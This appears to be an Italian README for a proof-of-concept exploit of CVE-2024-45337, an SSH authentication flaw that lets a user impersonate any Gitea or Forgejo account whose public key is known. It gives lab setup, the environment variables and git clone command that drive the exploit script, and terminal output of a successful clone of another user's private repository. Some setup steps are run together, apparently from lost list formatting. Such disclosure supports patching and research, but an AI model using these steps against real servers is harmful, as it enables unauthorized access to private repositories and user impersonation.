
Prova di concetto per CVE-2024-45337 contro Gitea e Forgejo
Questa repository contiene un exploit proof of concept per CVE-2024-45337.
Può essere utilizzato per incapsulare ssh quando si interagisce con un server SSH implementato usando golang.org/x/crypto <= v0.30.0, che memorizza le autorizzazioni in modo non sicuro nella callback ServerConfig.PublicKeyCallback.
Gitea <= 1.22.4 e Forgejo <= 7.0.11, 9.0.2 sono vulnerabili quando ospitati tramite il server SSH interno. Puoi impersonare qualsiasi utente purché tu conosca una qualsiasi delle chiavi pubbliche associate al suo account. Devi avere un account personale da usare per l'autenticazione SSH.
docker compose -f docker-compose.forgejo.yml up -d
victim
important_repo e genera un commit iniziale con un README in modo da avere qualcosa da clonareattacker
GIT_ATTACK_PRIVKEY sul percorso della chiave privata di un account validoGIT_ATTACK_PUBKEY sul percorso della chiave pubblica nota dell'altro account target. Non conosciamo la chiave privata per quell'account.GIT_SSH sul percorso dello script exploit per indicare a git di usarlo al posto del comando ssh nativoGIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Usa .ssh/config per specificare le chiavi durante la clonazione
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
Esegui contro un container locale di Forgejo 7.0.11 configurato come sopra.
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# Delete private key of victim for demo purposes
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.